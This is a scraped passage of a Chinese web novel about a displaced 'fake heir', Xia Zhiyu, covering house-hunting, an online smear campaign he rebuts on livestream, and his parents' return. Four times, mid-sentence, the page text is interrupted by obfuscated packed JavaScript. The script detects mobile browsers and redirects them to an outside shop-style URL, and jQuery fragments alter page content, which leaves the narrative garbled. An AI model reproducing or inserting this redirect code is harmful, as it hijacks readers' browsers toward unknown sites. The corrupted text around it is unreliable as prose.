“夏先生,我们老板请您上车。”车上的秘书从驾驶座下来,贴心为夏知鱼拉开后座的车门,大有他不上车,就跟他死磕到底的架势。 夏知鱼第一反应就是戒备,毕竟似曾相识的场面下,自己被两个壮汉架着走过一次。 下一秒,他看着同样坐在后座的男人愣了愣,那人只穿了一件普通的白衬衫,手里还拿了一份文件,安静坐在那里却让人移不开眼睛,讲真,要是真有什么,也是他夏知鱼占便宜吧? 就这样鬼使神差的,夏知鱼道了谢,鱼一样钻进车里。 “开车。”男人悄悄扬起嘴角。 夏知鱼这才想起来问上一嘴:“去哪?” 男人看了他一眼,收起手里的文件笑着反问:“现在问是不是太晚了?不怕我是黑车,把你带去山野地方关起来?” 夏知鱼从眼睛看到喉结,再往下是腰腹,也不知道有没有腹肌……呸!他在心里狠狠唾弃自己,怎么他的喜好如此龌龊……不过话又说回来,到底有没有呢? 见人盯着自己发呆,那人说:“我姓夏,你真的不记得我?” 这是来找茬了?不就是在酒吧的时候不小心碰到了,竟然记到现在? 夏知鱼惊醒:“啊,出神了,抱歉啊夏先生,我记得你,我们见过……” 夏云祈挑挑眉,等着他继续说下去。 “刚才在酒吧里撞到你实在不好意思,没受伤吧?我夜视能力不太好,实在抱歉。”夏知鱼说:“要不我赔你点……” 他想说赔点钱,但转念一想,他根本就没有钱啊,话到嘴边转了一个圈就变成:“赔你点时间?” 夏云祈笑出声来:“哦?你要怎么赔?” 夏知鱼从善如流:“去吃饭吧,我请客。” “好啊。”夏云祈又跟开车的秘书说:“找家私密性好的餐厅。” “好兄弟,别开太远啊,我下午还有事呢,太远容易找不到回家的路。”夏知鱼看着车窗外倒退的风景突然说了这么一句话。 夏云祈问:“什么事?” 本来是私事,这样问实在有些冒犯,况且夏云祈还是个陌生人,但意外的,夏知鱼不反感,他轻声吐出两个字:“找房。” “找房?”夏云祈皱起眉,无意识摩挲着手指:“为什么?” 夏知鱼难得认真起来,转过头看着夏云祈,他指了指自己的脸:“你认识我吧?自从夏氏官博官宣了夏语年才是他们儿子以后,我的身份信息很快就被扒出来了,想不知道也难。” 夏云祈一愣,这是他没想到的,当时他人还在国外,得知自己亲弟弟找到以后就用夏氏官博官宣了,他怕父母觉得亏欠夏语年,于是转了总公司百分之三的股份给他,但是他却忘了,忘了这个早就知道不是自己亲弟弟的夏知鱼的感受。 大概两年前,夏家人体检意外发现夏语年血型和家人不匹配,后来才知道当年在医院孩子被掉包。 他突然有些后悔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320535|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏知鱼说:“夏语年,啊,就是夏氏真正的少爷已经回来了,我不可能再鸠占鹊巢,所以想尽快搬出去独立生活,这样大家都开心。” “……知道了。”夏云祈说。 知道什么了?夏知鱼好奇的看着夏云祈:“夏先生,你也姓夏,我也姓夏,你不会是我哪个亲戚吧?” “……你都饿出幻觉了。”夏云祈面不改色:“好了,看看你想吃什么,我请客。” 一听吃,夏知鱼感觉自己又行了。 “那就先谢谢夏先生了。” …… 餐厅选在“月上居”,一处只有提前预约才能吃上菜的地方。 夏知鱼跟在夏云祈身后进了包间,很快菜就上齐了。 他吃了两口,胃里不舒服的感觉反而更甚,于是就停了筷。 “怎么了?不喜欢吗?”夏云祈问也放下筷子。 夏知鱼:“不,挺好吃的,不过我胃小,吃得少,随便吃两口就饱了。” 说话间他顿住,终于想到了这个严肃的问题,这具身体没有变,还是他吃瓜落水的身体,只不过是名份上顶替了假少爷的身份,那之前为了攒钱省钱折腾身体落下的病根是不是也一起跟过来了? 沉默许久,夏知鱼不情不愿再次提起筷子:“夏先生长得就很下饭……” 迟来的午饭过后,夏云祈接到一通电话,匆匆忙忙回公司去,顺道把夏知鱼带去一处小区,临走前特意告诉他,这里的中介人还不错。 这是想让他在这里租房子的意思吗? 夏知鱼有些茫然,他的胃隐隐作痛也顾不上,他还打算租了房以后再去办一张银行卡呢,等以后发了工资就过回原来的日子。 最好离他们远远地。 这样也不能搭夏先生的人情,还是自己找中介稳妥。 夏知鱼手里的钱不多,租个一人住的小公寓刚刚够,剩余的钱还能添置一些家具,只要省一点还是可以等到下月发工资的。 这样想着,他下载了鲨鱼找房。 北方的秋天一到下午就突然变冷,夏知鱼毫无防备的打了个喷嚏,早上出门的时候没拿外套,这会他只穿了一件单薄的卫衣。 “啊啾!”夏知鱼揉了揉鼻子,拦下一辆出租车:“师傅,去xx小区谢谢。” 司机不是个爱说话的,夏知鱼满意的不得了,他就是那种能不说话绝对装死的类型,自己一个人坐在后面闭着眼,一直到司机停下车,夏知鱼才悠悠睁开眼,付钱下车一套动作行云流水,迅速逃离陌生人身边八百米。 作为一个资深的路痴,夏知鱼拿出手机打开导航软件,先按照箭头的方向原地转上一圈,确定了自己的方向然后听导航说:“前方一百米后右转进入无名街道……” 与此同时,常年静音的手机被电话激活,夏知鱼几乎下意识就想挂断电话,转念一想,万一有人找他有急事呢,犹豫着接听了。 “夏知鱼?是你吧小鱼?” 5. 热搜 “我老远就看见你了,刚还没敢认,就打了个电话确认。” 夏知鱼举着手机又在原地转了个圈,他听余袖一说也在附近,就打算找找他:“你在哪呢?我怎么没看见你?” “你就在此处不要走动,我买俩橘子就来!”余袖一欢快的声音响起,带着让人想打死他的上扬尾音。 电话里余袖一呼吸声越来越重,夹杂着跑动的脚步声,距离夏知鱼越来越近。 “我看见你了。”夏知鱼说。 下午天暖和不少,睡过午觉的人们逐渐出现在街道上,遛遛弯,逛逛街,或者去公司做社畜的路上。 夏知鱼和余袖一并排走在路边,后者手里真拿着几个小橘子,伸手递给夏知鱼说:“饭后走一走,路边再吃九十九,来兄弟,拿着!” 这种沙雕的不顾别人死活的生活作风实在太符合夏知鱼的喜好了,他接过那两个看起来就甜的小橘子,恨不得当场就和余袖一拜把子。 这是两个相见恨晚的灵魂,他们惺惺相惜的望着对方,从彼此的眼中看见了自己。 “小鱼。”余袖一深情开口。 “嗯?” “我又饿了……” “好巧,我也是。” 于是对视的两个人又从彼此的眼中看见了对于食物的渴望。 十五分钟后,两个刚吃完午饭不过一小时的人手里分别拿了两份煎饼果子和其他小零食。 余袖一狂往嘴里炫食物,口齿不清问:“小鱼,你不是富二代少爷吗?我还以为你不会吃路边摊呢。” “富二代也是人好吧,这等人间美味,只有我哥那个老古板才会拒绝。”夏知鱼和余袖一动作同步。 俩人沿着马路走了一会才恍惚间想起被抛在脑后的主要任务,夏知鱼停下佛山无影手,略带僵硬转过头:“一一,你说咱俩是不是忘了点啥?” 经他这一提醒,余袖一吃东西的嘴顿住:“靠!找房子!” 这两人吃吃喝喝后总算想起了正事。 余袖一是大平台的游戏主播,网站粉丝几千万的那种,夏知鱼是夏氏集团的二少爷,身价上亿的那种,但两人不谋而合,都想租一个安静,小,且便宜的房子。 夏知鱼是不想用夏家的钱,所以手头比较紧,但他不明白余袖一又是因为什么。 先前他看中一个小区三楼的租房信息,里面的内容完美符合他和余袖一的要求,就是房子有点大,并且房租超出了他的预算,要是能和余袖一合租,这两个问题就都解决了。 想到这里,夏知鱼正经开口:“一一,要不要跟我合租?我们一起发展更高层次的革命友谊啊?” 余袖一闻言也是认证思考起来,几秒后点头:“好啊。” 那个小区周围的街道还算繁华,不远就有一个连锁超市,打眼一看就能看见正对着门口的商场。 夏知鱼若有所思看着商场前面横着停下的车,总觉得一丝古怪之意涌上心头……难道是自己太过大惊小怪?可那样一辆横着停下的车在那的确很扎眼。 他收回目光,只觉是自己多心。 在他看不见的角落,两个工装服,带着棒球帽的男人拿着相机对着他和余袖一的背影一顿猛拍…… 看过房子,夏知鱼没表态,他不说喜欢,也不说不喜欢,和中介模棱两可客套几句之后就拉着余袖一离开了那里。 “小鱼,我看那房子还不错,怎么就走了?”余袖一不太明白。 夏知鱼神秘兮兮笑了:“当然是要货比三家啦,那个房子确实还不错,如果下面几家房子都不行的话就只能再回来了。” “好马不吃回头草。”余袖一说。 “我们是人。”夏知鱼说。 “……” 结果一连看了好几家,都没有第一个房子性价比高。 对比下来,夏知鱼和余袖一还是决定回第一个小区重新考察一下。 “好累,怎么找个房子比找个老公还不容易。”夏知鱼说。 余袖一看了他一眼,安慰道:“万事开头难……中间难,结尾更难,别太放在心上了。” 夏知鱼:“谢谢你的安慰,茫茫人海,能让我听上一句你的安慰也是对我的一种报应了。” “……” 最后还是敲定了这个名叫胡海小区的地方,夏知鱼打算父母回国之后商量一下遗留问题,然后搬走,余袖一那边就简单多了,他收拾一下仅有的行李就能拎包入住。 签好合同后两人各回各家。 这一天逛得实在消耗体力,夏知鱼回到家正赶上夏语年吃完饭。 “小鱼回来了!”王妈刚洗完手,见夏知鱼回来赶忙擦干手:“有没有好好吃完饭啊小鱼,有没有什么想吃的王妈给你做,或者想点外卖吗?” 夏知鱼换好拖鞋:“不用了王妈,您歇着吧,我有点累先回去休息了。” 他飘回房间里换好睡衣,脑袋沾枕头不到两秒就失去意识,平稳的呼吸声渐渐充斥整间卧室。 梦里,他一次又一次回到当时吃瓜的地方,然后体验高空坠落的感觉,一直到他满后背都是冷汗,陡然睁开双眼,惊醒了。 夏知鱼调整呼吸,满不在意的冲了个澡重新躺回床上,不过他睡不着了,只好扒拉着手机打发时间。 卧室的床帘半掩着月光,窗外狂风大作,半空的积云被吹散,看起来明天是个好天气。 夏家的床太软,夏知鱼只趴了一小会就腰酸背疼,他只好坐起身来缓解一下。 忽然他听见门口传来一阵衣料摩擦的声音,还有可以放轻但依旧很明显的脚步声,夏知鱼狐疑下床,拖鞋都没穿蹬蹬跑过去打开门。 门后站着夏语年正一奇怪的姿势趴着门框往里看,被夏知鱼抓包还不忘藏一藏手上的东西。 “你拿的什么?”夏知鱼圆溜溜的眼睛眯成一条缝,坏笑着盯着夏语年,尾音拖得长长的。 “什么什么,没有什么!”夏语年被发现,小表情都来不及收回去,呆滞了片刻后硬着头皮说:“我就是路过你房间门口而已……” “带着一碗……”夏知鱼动了动鼻子:“刚做好,热乎的牛肉面?” “!!!”夏语年把这茬忘了。 既然被发现他也不装了,干脆把面给夏知鱼:“这是王妈给你做的,她说你不吃晚饭胃疼。” 夏知鱼盯着对方看了好几眼,惊奇的发现对方竟然红了耳朵:“原来是王妈做的啊~” 碗里的面是手擀面,切得有宽有细,牛肉块占了半碗,美中不足就是上面还撒了两片香菜……夏知鱼不吃香菜。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320536|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香啊。”夏知鱼笑起来,目光与夏语年眼神接洽后者很快移开。 “总之你快吃吧,都吃完不许浪费……王妈的劳动成果!”夏语年加快语速,说完就逃一般回到了自己房间“嘭”地关上了房门。 夏知鱼看着牛肉面上的两片香菜叶笑出声:“谢谢……” 那哪里是王妈做的,看刀工就知道是夏语年的手笔,对方还以为自己掩饰的很好,殊不知夏知鱼心里都清楚。 最后他还是夹出那两片碍眼的香菜,把牛肉面吃掉了。 下午睡得足,晚上竟然没有什么睡意。 夏知鱼半夜尝试第十二次数绵羊哄睡自己的计划惨遭失败,于是打开手机点开余袖一的微信页面毫无感情打下一行字:睡了吗?起来重睡! 对面显然也在熬夜,很快就回复他:……要不要打游戏? 夏知鱼说了游戏名称和ID,上线等着余袖一拉他进队。 “小鱼,我在直播,介意吗?” 夏知鱼回答:“不介意,开吧。” 他的游戏ID叫“内向咸鱼”,是昨晚新注册的号,所以段位低,以他们两个人的技术简直是鱼塘炸鱼,再加上两只沙雕心有灵犀,简直不要太快乐。 很快匹配时间变长,匹配到的对手也越来越厉害,在夏知鱼打野打到对面野区第n次后,余袖一终于凉飕飕说了一句:“鱼哥,对面都偷到家里来了,你在野区和玛卡巴卡丢手绢呢?” 夏知鱼另一个手机正在挂着余袖一直播间,看见粉丝一串串“哈哈哈哈哈哈哈”中夹杂了两句“一一终于正常了”或者“毒舌一回来了,爷青回”之类的话。 他也不在意,嘿嘿笑了两声:“来了来了。” 接下来余袖一罗里吧嗦说了一大堆,夏知鱼只在其中提炼出两个字“别送”…… 也是很打击人了,不过余袖一的操作和意识的确很好,像职业选手的技术意识和反应。 夏知鱼说:“上一世我被对手毫无悬念打成折叠屏,这一世我重生归来,V我五十听我讲述复仇计划,我再偷主播键盘,保证不亏。” 余袖一也接梗:“哦?小鱼你上一世是不是出门只走下水道的咸鱼?” 弹幕又是一阵哈哈哈哈哈。 一连开了好几局,在夏知鱼时好时坏的操作技术下,两人二十连胜结束了晚上的直播,夏知鱼困意来袭,和余袖一互道晚安一头栽进枕头睡着了。 翌日一大早,夏知鱼起来上厕所时发现乔晚给他打了足足十二个电话,而他当时正在梦里和周公吃零食,根本就没接到。 想着也许是有什么急事,他就给乔晚回拨过去了。 “小鱼你被一一粉丝绑架了?”乔晚嗓门大,夏知鱼手机刚贴近耳朵就被吓得下意识把手机撇出去了。 “……”夏知鱼清了清嗓子:“谢谢乔姐关心,不过我和我完美的身体都很好,没被绑架。” 那边乔晚又神秘兮兮的问:“小鱼,那个,我是想问,你、你和一一,你俩在一起了?” “乔姐,你还没睡醒?”夏知鱼越来越好奇到底发生了什么事,能把乔晚刺激成这样。 听见夏知鱼否认,乔晚松了口气:“啊,没有就好,我还以为我嗑的cpbe了呢,那啥,你去看看热搜,我继续去嗑cp了哈。” 6. 直播 夏知鱼打开微博的第一眼看见的不是关于什么“在一起”的热搜,而是“热心网友”扒他个人信息,和分析他和夏家关系的词条。 【今晚就努力:怎么说呢,之前也没见夏氏集团官宣过夏知鱼的身份,以前还觉得是怕外界影响他的正常生活,直到看见他是假少爷,人家真少爷可是一接回家里就对外官宣了。】 【老婆的水晶灯:只有我觉得夏知鱼长得很帅吗?现在当红小鲜肉都没有这颜值吧?】 【谁说我不要:不是,你们都不知道夏知鱼这个人吗?他以前跟朋友去酒吧,欺男霸女无恶不作,夏家是对他失望了吧。】 【球球点个收藏吧:享受了人家真少爷二十多年的人生,该还回去了吧,要是我,都不好意思再姓夏了。】 【可以球球营养液吗:楼上行为过激了吧?被抱错也不是夏知鱼的错。】 夏知鱼舔舔唇,动动手指回复了激烈言论骂他的“正义网友”:停车坐爱枫林晚,帅哥的事你少管。 往下滑又回复了另一个网友:这些话,抛开内容来讲我还是挺赞同的。 一条一条回复过后夏知鱼嫌弃太过麻烦,干脆直接实名账号,然后发了一条微博:中午十二点来我直播间,我有的是力气和手段。 与此同时,夏氏集团也突然发了一则声明,大致意思就是夏知鱼和夏语年都是夏家的孩子,并且每人身上都有夏氏集团百分之五的股份,同时会追究造谣者的法律责任…… 一时间,夏知鱼在网上的风向变了又变,为他说话的网友和看不惯他作风的网友打成一片。 “切,低端手段。”夏知鱼皱起眉,想着既然自己有意离开,那夏氏的股份他就一点都不会收,还是等父母从国外回来后好好谈一谈吧。 至于现在…… 夏知鱼给余袖一打了个电话,既然乔晚已经找到自己,那一定提前和余袖一打过招呼了,希望这件事对他不会有太大的影响。 那边电话被接通,夏知鱼率先听到的是窸窸窣窣的脚步声,然后余袖一深吸一口气狂笑出来:“小鱼,你也是火了,都能跟我一起上热搜了。” “还能玩抽象,证明没事。”夏知鱼说:“乔姐跟你说过热搜的事了吧?夏氏已经把热搜撤了,不过这件事我得做个了结,所以打算中午直播。” “可以啊小鱼,风口浪尖呢就敢直播,不愧是我好姐妹。” 好家伙,穿来的第二天多了个带把的姐妹,世上还有比这更惊悚的事吗? 夏知鱼甚至能想象到余袖一是怎么顶着一张看起来巨乖的娃娃脸说这些话的,别问,问就是实在违和,又意外沙雕。 俩人又随意聊了一会,眼看着到吃饭的时间,夏知鱼挂断电话下了楼,王妈给他做了两个炒菜后就离开了,夏语年不知道去哪鬼混还没回来,他坐在椅子上久违的享受起只属于他一个人的午饭。 屋子里安静的可怕,落地钟滴答滴答的声音和谐又诡异的响起,夏知鱼飞速解决完午饭上楼回了房间。 距离十二点还有五分钟,夏知鱼打开直播软件调试了镜头和麦,等待时针和分针重合。 直播间涌进一大批网友等着看他的笑话,弹幕刷的很快,看得出来,大家都十分激动。 【……:主播是谁?长得好帅!】 【略略略:新人主播,好眼熟哦,好像在哪见过来着。】 【1314:楼上别跑,是不是在热搜见过?】 【……:这么一说我也有点印象,是和一个游戏主播炒cp上热搜的那个吧?】 【521:看见上面有我的cp名,就来了。】 【叽哩哇啦:楼上并没有人在乎,现在大家的关注点都在主播身上。】 【你能奈我何:呦呦呦,还真敢来直播啊,真当没有网友伸张正义。】 【兔子滋滋滋滋:天啊,刚补完电竞圈的瓜,现在富二代圈子又有瓜了,怎么越有钱行为越让人恶心啊。】 夏知鱼看了会弹幕表示:就这?余袖一做梦的梦话都比这有攻击力好吧,菜,就多练。 十二点整,夏知鱼打开麦:“中午好啊各位,尤其是声称我那几个知道内幕的朋友们,你们还好吗?” 他只穿了一件薄薄的白色T恤,柔顺的粉色头发用两个小卡子卡住,平添几分乖,只是他说出来的话十分欠揍。 “想来你们也是不好的,那边给你们多少钱黑我?有没有对你们说敢上来和我连麦对峙就多给一点?” 那头的确收了钱的职业黑子微微震惊。 夏知鱼垂着眼皮撑着下巴,一副有恃无恐的表情:“那么,谁先来呢?” 很快一个网名叫“q”的网友连上了麦,他没有开摄像头,刚一连上麦就开始了自我介绍:“夏知鱼,我将要为被你欺负的人们讨回公道!我要揭露你的恶行!” 夏知鱼挑眉:“哦,请开始你的表演。” “……我家里开着小公司,父亲为了攀上顶层的圈子叫我时常去夏知鱼常去的酒吧蹲点制造偶遇,我和你第一次见面就是在酒吧的包间里。”q声音低沉:“后来我成了跟在你身后的众多小跟班之一,结果有一次酒吧包间里你点了不少公主,我女朋友来找我正好被你看上,你居然、居然当着我的面强绑走了我女朋友!” q讲到伤心处还哽咽了一下,顿时引得无数网友同情。 【打死渣男:我靠,这么劲爆?这是可以说的吗?】 【小三都去si:什么?这也太仗势欺人了吧?生活也不检点,恶心死了。】 【6384647:这就是有钱人的奢靡生活吗?】 【76543456:夏氏的二少竟然是这样的人,那夏氏是不是也……】 “打住打住。”夏知鱼看着弹幕反馈里提到了夏氏,收起看戏的心思说:“你说你是我众多小跟班之一,又说和我在酒吧相遇,还说我欺男霸女,对不对?” q:“没错,你还有什么好说的?” “首先,想当我的小跟班要有钱有颜声音好听,这是圈子里公认的标准,你看你占哪一样?”夏知鱼带着笑意的声音懒洋洋的:“其次,你说我和你在酒吧相遇,而且还在包间里,那你知道我们这些万恶的有钱人的包间外都有保镖守着吗?你进得去吗?最后,你说我欺男霸女,欺男还有可能,霸女……呵呵,我喜欢男的啊,要霸也是霸男人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320537|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你口口声声说要指认我的恶行,却一连说出不少相悖的观点,是来搞笑的吗?”夏知鱼嘲讽:“不去参加脱口秀可惜了,下一位。” 【神神鬼鬼:神特么下一位哈哈哈哈哈哈,主播说话太有趣了,关注了。】 【……:刚去看了一下以前的视频,夏知鱼说的还真是……怎么说呢,这个网友找茬的意图太明显了,不得不让人怀疑。】 他没有原主的记忆,但却从家里留下的小痕迹知道原主的取向和自己是一样的,而且乖张颜狗的原主绝对没有声音和破锣锅漏风一般嗓音的朋友。 q灰溜溜逃离直播间后,直播间里的气氛竟然诡异的沙雕起来。 【喵喵教小天使:来,有请下一位选手。】 【昨夜作业好多:楼上是想笑死我然后继承我的作业吗?】 【小论文和爸爸的大键盘:还得是主播啊。】 第二位“朋友”得到那边的指使后果断上麦,犹豫了一下夹住声音:“你可以解释一下,仗着富二代的身份包养游戏主播的事吗?” 经这一提醒,网友们才想起热搜上还有另一位主角。 【企鹅:对啊,主播刚还说自己喜欢男的,不会吧,刚出柜就石锤了?太快了吧?】 【一一的吃瓜专用号:锤什么锤啊,哪只眼睛看见包养关系了?】 【谁说我不要:这么快就有舔狗给夏知鱼洗白了?脑子呢?有图有真相,这还不叫石锤吗?我说你们这些小姑娘别一天天只想着化妆谈恋爱这些无聊的东西,没事做点有意义的事不好吗?】 【都给老子拱:楼上你吃点溜溜梅吧……】 夏知鱼姿势未变,眯起眼睛说:“我要为夏氏正名,什么富二代?你了解过吗?我明明是,名不正言不顺的富十二代,祖上就没穷过好吧?” 夹子哥带了几分嘲讽:“我管你富多少代呢,你倒是解释包养的事啊,一个假少爷都干这么放肆,那夏氏不得乱成一锅粥?” “这位嗓子卡大提琴的兄弟,你能不能不要再夹了,你夹得我喘不上来气。”夏知鱼打开手机,在微博上戳戳点点找到那张他和余袖一离了有两米多远的照片放大给大家看:“你是说,这样所谓的真相?” “有眼睛的都能看见吧?我和那位主播离得中间可以塞下三个大提琴,这就叫石锤了?要是眼尖的还能看见路过的无辜行人,怎么,他们都是我情人?”夏知鱼问:“这张是我和情人的大合照吗?” 这下不明真相的网友看完全程终于了解事情经过。 夏知鱼不给夹子哥回答的机会,他放下手机正色说:“今天凡是在网上造谣的网友,我都不会放过,我的背后是夏氏,拥有顶尖律师团的夏氏,至于始作俑者,我已经知道是谁了,我会让他付出代价,今天就到这里吧,各位再见。” 说完就挂掉了电话。 夏知鱼心情不错,摘掉头上的小卡子滚回床上翻阅手机。 来自半小时之前的信息吸引了夏知鱼的注意,原因无他,只是半辈子不给他发信息的夏语年破天荒给他发了个表情包,后面接了一句:下周日晚上六点去德东机场接爸爸妈妈,别迟到,机场碰面。 7. 家人 夏知鱼在酒吧上班坚持打卡一个星期后接到夏语年打来催促他的电话。 接机的时间在六点,晚上酒吧上班的时间在九点,快一点动作还来得及。 处理好手头上的事情后夏知鱼给乔晚发了个信息告诉她自己今晚会晚一点到,然后换了身休闲西服准备开车去机场。 这几天夏语年都没有回过家,他给夏知鱼发了个定位,让夏知鱼到了德东机场去找他,还不允许夏知鱼提起自己不在家住的事情。 机场不是很大,来来往往接机的人倒是不少,深秋正是冷的时候,夏知鱼穿的不多,围了一条深灰色的围巾下了车。 他那头粉色的头发实在扎眼,站在人堆里一眼就能看见,夏语年也是一眼就看见了,看见人群中一个飞速挪动的毛茸茸粉球球。 “夏知鱼!”夏语年隔着老远就看见夏知鱼:“在这边啊,乱跑什么!” 夏知鱼圆溜溜的眼睛扫过一众行人,最后视线落在不远处的紫色大衣上。 夏语年这人的审美从来都不会让人失望,最可怕的是这家伙还自我感觉良好,不,是自我感觉超帅,总觉得路边走过一个姑娘都被他帅的频频转头。 夏知鱼默默在心里告诉自己,这种行为的人叫“普信男”,是不可取的。 对方紫色大衣搭配红色高领毛衣,偏偏还要搭配一条绿色的裤子,远远看过去就是一只开着屏乱转的公鸡,花枝招展引人注目。 “往哪看呢!这边!”夏语年一双修长的腿快步朝着夏知鱼跑过去,微微喘着粗气:“你怎么回事啊,叫你怎么不回答我,我还以为我叫错人了呢。” “……”夏知鱼默默用手挡住脸:“救命,这是谁家的傻孩子,快来领走吧。” “什么啊,你对我有什么不满?”夏语年低头看了看衬得自己皮肤白皙的紫色大衣,又看了看显得自己腿又长又有型的绿色裤子,怎么也想不通为什么夏知鱼会露出嫌弃的表情。 他自我感觉良好,说:“刚才我来的路上回头率可是百分之百,好多小姑娘都看我呢……啧,你那是什么眼神,是不是觉得你没我帅感到羞愧?” “并没有。”夏知鱼。 夏语年撩起头发:“我觉得我今天这身衣服把我的帅气逼人展现的一览无余。” 夏语年:“实际上你只像个‘逼人’……” “……”夏语年:“闭嘴吧。” 夏语年:“好嘞。” 接上夏以德和唐浸月后家里的司机开车来接,夏以德坐在副驾驶打电话,应该是为了处理国内公司的事,唐浸月坐在夏知鱼和夏语年之间眼睛红红的,就连平时跳脱的夏语年此刻也是歪着头看窗外,一言不发。 街边的路灯昏黄,川流不息的车各自忙碌着行驶。 司机是夏家雇了十几年的老人,知道什么时候该说,什么时候不该说,譬如现在,只要他专心开车,两耳不闻身边事就能避免卷入这无声的战火。 回到家已经是八点半了,王妈早就准备了一桌子饭菜等着他们,作为晚饭,也作为接风洗尘,全家团圆的第一顿晚饭。 王妈摆好碗筷倒好酒水,唐浸月也回房间换了一身家居服出来,她想是该好好处理一下两个孩子的事情了,虽然这些年她和夏以德都知道夏语年的存在,不告诉夏知鱼也是怕他多想,但现在夏语年已经回到夏家,避而不谈会给两个孩子造成心理压力,保护不了他们还会起反作用。 不如趁着这顿饭好好聊一聊。 她养育了夏知鱼二十多年,即便没有血缘关系也胜似亲母子,再说夏语年,一早找到他的时候孩子瘦瘦矮矮的,身上的衣服破破烂烂,看着就让人心疼,她见到夏语年的第一面就决定要把孩子认回来。 这样想着,唐浸月招呼两个孩子上桌吃饭:“小鱼,年年,来,洗手吃饭了。” 她尽量让自己看起来温柔,像个再寻常不过的母亲,夏知鱼却在其中捕捉到转瞬即逝的尴尬与紧张。 夏以德已经坐在主坐,唐浸月就坐在他身边,浅笑着招招手:“王妈今晚做的菜好丰盛。” 夏知鱼打眼一扫,的确,今晚是个特殊的日子,做的晚饭都比平时只有自己和夏语年时丰盛不少,只是可惜了…… 他抱歉地笑笑,手脚麻利的穿好外套,顺手抓了抓发型:“妈妈,实在抱歉……” “小鱼,你穿外套……是要去哪……”唐浸月说话间带着自己都没察觉到的紧张,她在害怕。 “这几天晚上都有事情要办,所以会晚些回来,今晚这饭……抱歉,我明天会早点回来,咱们中午再聚一聚吧。”夏知鱼露出一个心照不宣的假笑。 他的确去酒吧驻唱快迟到了,但更多的是想快些逃离这里,他不知道要怎么面对唐浸月和夏以德,笑不出来,也不想强迫自己笑。 说话间,夏知鱼换好鞋子打开了门,听见夏以德终于开了口,却不是挽留,而是下意识的批评:“都这么晚了还出去做什么?有什么急事是不能吃了晚饭再去的?” “越长大越不让人省心,晚上出门不安全……” 夏知鱼没再说什么,快速冲他们摆摆手然后关上了门。 厚重的木板隔绝了两个空间,房间里闷闷的声音被夏知鱼听的一清二楚,是唐浸月打断夏以德的话语:“以德!孩子心里不舒服你就少说两句吧!” “……”夏知鱼紧了紧拳头,转身走进了电梯。 冷月悬于夜空,月光昏晕,周身掠过的风也越发的冷了,顺着衣领往脖颈里灌,凉的夏知鱼抖了抖。 这个点已经没有公交了,打车要花二十几块,还是步行走过去,也用不了多长时间。 他出门走得急,身上只穿了接机时的衬衫,外面套了件风衣,连那条灰色的围巾都被他忘在家里的沙发上了。 深秋的夜晚寂静,也冷,夏知鱼独自漫步在马路上,看着前方望不着头的路颇多感慨,等彻底和夏家断了关系,这样的生活就会是常态,还是需要尽早习惯才行。 忽然,夏知鱼脚步放慢,不确定的回过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320538|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看了一眼。 有一辆黑色的车在他身边停下,车窗缓缓降下,夏知鱼看清了开车人的脸。 “夏先生?”果然不是错觉,夏知鱼打了声招呼:“好巧啊。” 夏云祈“嗯”了一声,目光落在对方那身单薄的风衣上不由得皱起眉:“去哪?” 夏知鱼先是愣了一下,然后嘴比脑子快,说:“酒吧。” 听到这个答案夏云祈眉头皱得更深:“上车。” “不用了,我……”夏知鱼想拒绝他,毕竟才见了第二面。 “这里不能停车,上车。”夏云祈重复了一遍。 夏知鱼抿了抿唇,拉开副驾的车门钻了进去:“谢谢,乔晚酒吧。” 开车过去不过两分钟时间,到了酒吧门口,夏知鱼下车再次道谢,距离九点还有两分钟,他“噔噔噔”跑进去,全然没发现驾驶座上的夏云祈盯着他的背影勾起唇,然后拿出手机拨通了电话…… 酒吧二楼有一间专门给工作人员准备的更衣室,乔晚早就站在门口等着他,见他小跑上来立刻笑道:“慢点慢点,着什么急啊。” 二楼的灯光不像一楼舞池那边一样暗,这里夏知鱼能清楚看见乔晚手上拿了一件白色的,形状十分不同寻常的上衣。 他眉心一跳,暗道不好。 